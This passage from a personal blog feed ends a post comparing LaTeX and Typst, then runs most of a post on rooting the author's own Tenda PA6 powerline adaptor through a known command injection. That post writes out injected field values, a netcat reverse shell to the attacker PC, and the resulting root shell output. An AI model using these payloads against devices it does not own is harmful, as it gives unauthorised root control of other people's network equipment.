&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real 0m23.588s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ time latexmk -pdf -silent main.tex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real 0m5.509s
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;LaTeX&amp;rsquo;s markup also seems quite archaic to me. Most people are used to Markdown syntax, so any similarity to that will ease the learning curve. Here is how you&amp;rsquo;d create the equivalent of a &lt;code&gt;&amp;lt;h4&amp;gt;&lt;/code&gt; and include an image. It is fine once you get used to it, but that can take a while.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-latex" data-lang="latex"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;\subsubsection&lt;/span&gt;{Sub-files}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;\begin&lt;/span&gt;{figure}[ht]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\centering&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\includegraphics&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;[width=0.8\textwidth]&lt;/span&gt;{../proof-of-concepts/4-rendering-osm-data/screenshots/high-detail-at-low-zoom.png}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\caption&lt;/span&gt;{Raw tiled data from zoom 14 base tiles}&lt;span style="color:#66d9ef"&gt;\label&lt;/span&gt;{fig:rendering-tiles}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;\end&lt;/span&gt;{figure}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sub-files store map data for a range of zoom levels. For example, [-snip-]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now I&amp;rsquo;ve established the motivation, I can extol the virtues of Typst. Typst is a fresh take on document preparation. It combines the good bits of LaTeX, but with much faster compiles and a smaller learning curve. Here&amp;rsquo;s how you&amp;rsquo;d do the same in Typst:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typst" data-lang="typst"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;==== Sub-files
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#figure&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;image&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;../proof-of-concepts/4-rendering-osm-data/screenshots/high-detail-at-low-zoom.png&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; width: &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; caption: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Raw tiled data from zoom 14 base tiles.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;) &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;fig:rendering-tiles&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sub-files store map data for a range of zoom levels. For example, [-snip-]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This syntax makes far more sense to me, as it is pretty standard C-like language. It has all the usual constructs like functions, variables, loops, conditionals, etc. In testament to this, I decided to rewrite my CV from LaTeX to Typst. I had been using the &lt;a href="https://github.com/liantze/AltaCV"
target="_blank" rel="noreferrer noopener"
&gt;AltaCV&lt;/a&gt; class, and wanted to see how hard it would to recreate in Typst. It only took a few hours.&lt;/p&gt;
&lt;p&gt;Here is a Typst recreation of the &lt;code&gt;\cvskill&lt;/code&gt; TeX macro we saw before:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typst" data-lang="typst"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;#let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;skill&lt;/span&gt;(name, rating) &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; max_rating &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; i &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;h&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;fr&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (i &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; max_rating){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; colour &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rgb&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;#c0c0c0&amp;#34;&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// grey&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (i &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; rating){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; colour &lt;span style="color:#f92672"&gt;=&lt;/span&gt; primary_colour
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;box&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;circle&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; radius: &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;pt&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fill: colour
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// add spacing on all but last&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (i &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; max_rating){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;h&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;pt&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; i &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [\ ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;== Skills
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Here are some of my skills!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#skill&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Go&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#skill&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;TypeScript&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#skill&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Git&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#skill&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Typst&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typst/images/skills_hu_292579e6026c40a3.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typst/images/skills_hu_8f872284b4bfebdd.webp 320w, https://george.honeywood.org.uk/blog/typst/images/skills_hu_192388520ef4f87f.webp 640w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typst/images/skills_hu_618b0124cd1d8791.jpg'
width="862"
height="363"
loading="lazy"
alt='List of skills, with name and rating'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Rendered output of the snippet above, calling the &lt;code&gt;skill()&lt;/code&gt; function
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;For some context, Typst mixes content and scripting together. While writing content, you can insert script, by prepending a &lt;code&gt;#&lt;/code&gt;. While in the script context, i.e. inside the &lt;code&gt;skill()&lt;/code&gt; function above, you no longer need to prepend &lt;code&gt;#&lt;/code&gt; to functions, and can include arbitrary content inside &lt;code&gt;[&lt;/code&gt; square brackets &lt;code&gt;]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Compilation is pretty much instant. Typst uses incremental compilation, enabled by a system of constrained memoization. The lack of delay between keypress and render is appreciated, but the technical details go way over my head.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;d wholeheartedly recommend Typst to anyone who might be thinking of learning LaTeX, or wants a document preparation system that is comparable in simplicity to Markdown, but with the power to represent pretty much anything. I wish that it had been around 10 years ago for 15-year-sold me!&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;d like to learn more about Typst, &lt;a href="https://typst.app/docs/tutorial/"
target="_blank" rel="noreferrer noopener"
&gt;their tutorial&lt;/a&gt; is excellent.&lt;br&gt;
For a more detailed overview, see &lt;a href="https://laurmaedje.github.io/programmable-markup-language-for-typesetting.pdf"
target="_blank" rel="noreferrer noopener"
&gt;Laurenz Mädje&amp;rsquo;s master&amp;rsquo;s dissertation&lt;/a&gt;.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;ShareLaTeX has since been bought out by Overleaf, the other big player in the online LaTeX space. In a slightly unusual move, Overleaf then replaced their own editor with better one of ShareLaTeX.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Breaking into your Tenda PA6 Powerline adaptor</title><link>https://george.honeywood.org.uk/blog/tenda-pa6/</link><pubDate>Sun, 10 Sep 2023 11:25:58 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/tenda-pa6/</guid><description>
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_32940b8ba6f7caac.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_a5bbeabd1084504c.webp 320w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_1de1a1449910418a.webp 640w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_eb1b07cd74b0c721.webp 960w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_bda63d1c4ce0387.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_3a9a3ff814d07f0.jpg'
width="4624"
height="3472"
alt='My Tenda PA6 in the attic'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;So I have a little Tenda PA6 Powerline/HomePlug WiFi extender that I use as an additional WAP in the attic room of my house. This room has been getting very hot recently (around 35 °C), and when I touch the device it feels to be at least 60 °C. Tenda&amp;rsquo;s website says that the PA6 can operate in temperatures up to 40 °C, but I wanted to see if I could get some temperature readings out of the device to see how hot it is actually getting.&lt;/p&gt;
&lt;p&gt;What I should have done here is buying an infrared thermometer, but where is the fun in that?&lt;/p&gt;
&lt;p&gt;Conveniently for me, some security researchers from IBM have already made a &lt;a href="https://securityintelligence.com/posts/vulnerable-powerline-extenders-underline-lax-iot-security/"
target="_blank" rel="noreferrer noopener"
&gt;pretty comprehensive write-up&lt;/a&gt; of all the holes in the PA6. In typical vendor fashion, Tenda have not fixed any of these issues in the 3 years since they published the article. The researchers provide 3 exploits for the device, an authed Command Injection, an authed Buffer Overflow, and a pre-auth DoS. As I have the admin password (the default is &lt;code&gt;admin&lt;/code&gt; 🤦), I decided to go with the Command Injection, which I figured would be the easiest to exploit.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_52798549be47e8dc.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_5cd1340dd144b29a.webp 320w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_9312b127fb8f61e9.webp 640w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_a37c9f77fb1d50d2.webp 960w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_ea5da71df8bbb1af.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_69f0b98f9d8ffe09.jpg'
width="1555"
height="804"
loading="lazy"
alt='Screenshot of the Powerline settings page on the Tenda PA6'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The Command Injection issue is as basic as it gets. On the device&amp;rsquo;s powerline settings page, you can change the names of the other PLCs on the network. Unfortunately, this name change is done by simply &lt;code&gt;sprintf&lt;/code&gt;&amp;lsquo;ing the raw user input into a string, which is then executed as a command on the system, as root. This means you just need to put a little &lt;code&gt;&amp;quot; ;&lt;/code&gt; in your chosen name, and then you can run any command present on the device. The security researchers don&amp;rsquo;t quite spell out how to exploit this, but even I managed it after a few hours of head scratching.&lt;/p&gt;
&lt;p&gt;Conveniently, the PA6 has BusyBox installed, which has a &lt;code&gt;netcat&lt;/code&gt; binary for us to use &amp;mdash; I found out about this from a &lt;a href="https://gist.github.com/Weissnix4711/eeb54186469d313d07ffb44d00344a3f"
target="_blank" rel="noreferrer noopener"
&gt;GitHub gist&lt;/a&gt; listing all the files in the firmware image. As I wanted a shell on the PA6, we can use &lt;code&gt;netcat&lt;/code&gt; to pipe a shell session over a TCP socket back to my attacker PC (a reverse shell).&lt;/p&gt;
&lt;p&gt;To do this you first need to spin up a &lt;code&gt;netcat&lt;/code&gt; listener on your attacker PC, which will listen for incoming connections. I did this with &lt;code&gt;nc -lvp 4444&lt;/code&gt;. Note in this example my attacker PC has the IP address &lt;code&gt;192.168.1.100&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then we begin to work on the PA6, pasting our commands into one of the PLC device name fields. The version of &lt;code&gt;nc&lt;/code&gt; on the PA6 doesn&amp;rsquo;t have the convenient &lt;code&gt;-e&lt;/code&gt; option that handles executing a command for you, so instead we have to do a dance with a named FIFO pipe &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;. You first paste in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a&lt;span style="color:#e6db74"&gt;&amp;#34; ; mknod /tmp/f p #
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here &lt;code&gt;a&lt;/code&gt; is just a placeholder name. You can then set up the reverse shell by pasting the following into the same field &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a&lt;span style="color:#e6db74"&gt;&amp;#34; ; cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 192.168.1.100 4444 &amp;gt;/tmp/f #
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What we are doing here is passing whatever comes out of the &lt;code&gt;/tmp/f&lt;/code&gt; pipe into the &lt;code&gt;stdin&lt;/code&gt; of the shell. We then pipe the &lt;code&gt;stdout&lt;/code&gt; and &lt;code&gt;stderr&lt;/code&gt; of the shell into &lt;code&gt;netcat&lt;/code&gt;, which will send it back to our attacker PC. Finally, we redirect the &lt;code&gt;stdout&lt;/code&gt; of &lt;code&gt;netcat&lt;/code&gt; (which is whatever commands we input on the attacker PC), back into the &lt;code&gt;/tmp/f&lt;/code&gt; pipe. This gives us a poor man&amp;rsquo;s SSH session on the PA6.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netcat&lt;/code&gt; on your attacker PC should then print some message like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Ncat: Connection from 192.168.1.XX.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Ncat: Connection from 192.168.1.XX:XXXXX.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BusyBox v1.17.2 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;2018-01-22 01:08:54 CST&lt;span style="color:#f92672"&gt;)&lt;/span&gt; built-in shell &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ash&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Enter &lt;span style="color:#e6db74"&gt;&amp;#39;help&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; a list of built-in commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you can explore! Here is &lt;code&gt;/proc/cpuinfo&lt;/code&gt;, (some of) &lt;code&gt;/proc/meminfo&lt;/code&gt; and &lt;code&gt;/proc/version&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# cat /proc/cpuinfo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;system type : 960500WIFI_P201
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;processor : &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cpu model : Broadcom BMIPS3300 V3.3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BogoMIPS : 397.31
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wait instruction : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;microsecond timers : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tlb_entries : &lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;extra interrupt vector : no
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hardware watchpoint : no
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ASEs implemented :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shadow register sets : &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kscratch registers : &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;core : &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VCED exceptions : not available
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VCEI exceptions : not available
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# cat /proc/meminfo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MemTotal: &lt;span style="color:#ae81ff"&gt;29468&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MemFree: &lt;span style="color:#ae81ff"&gt;1288&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Buffers: &lt;span style="color:#ae81ff"&gt;700&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Cached: &lt;span style="color:#ae81ff"&gt;3808&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SwapCached: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Active: &lt;span style="color:#ae81ff"&gt;5680&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Inactive: &lt;span style="color:#ae81ff"&gt;2028&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;...&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VmallocTotal: &lt;span style="color:#ae81ff"&gt;1032116&lt;/span&gt; kB
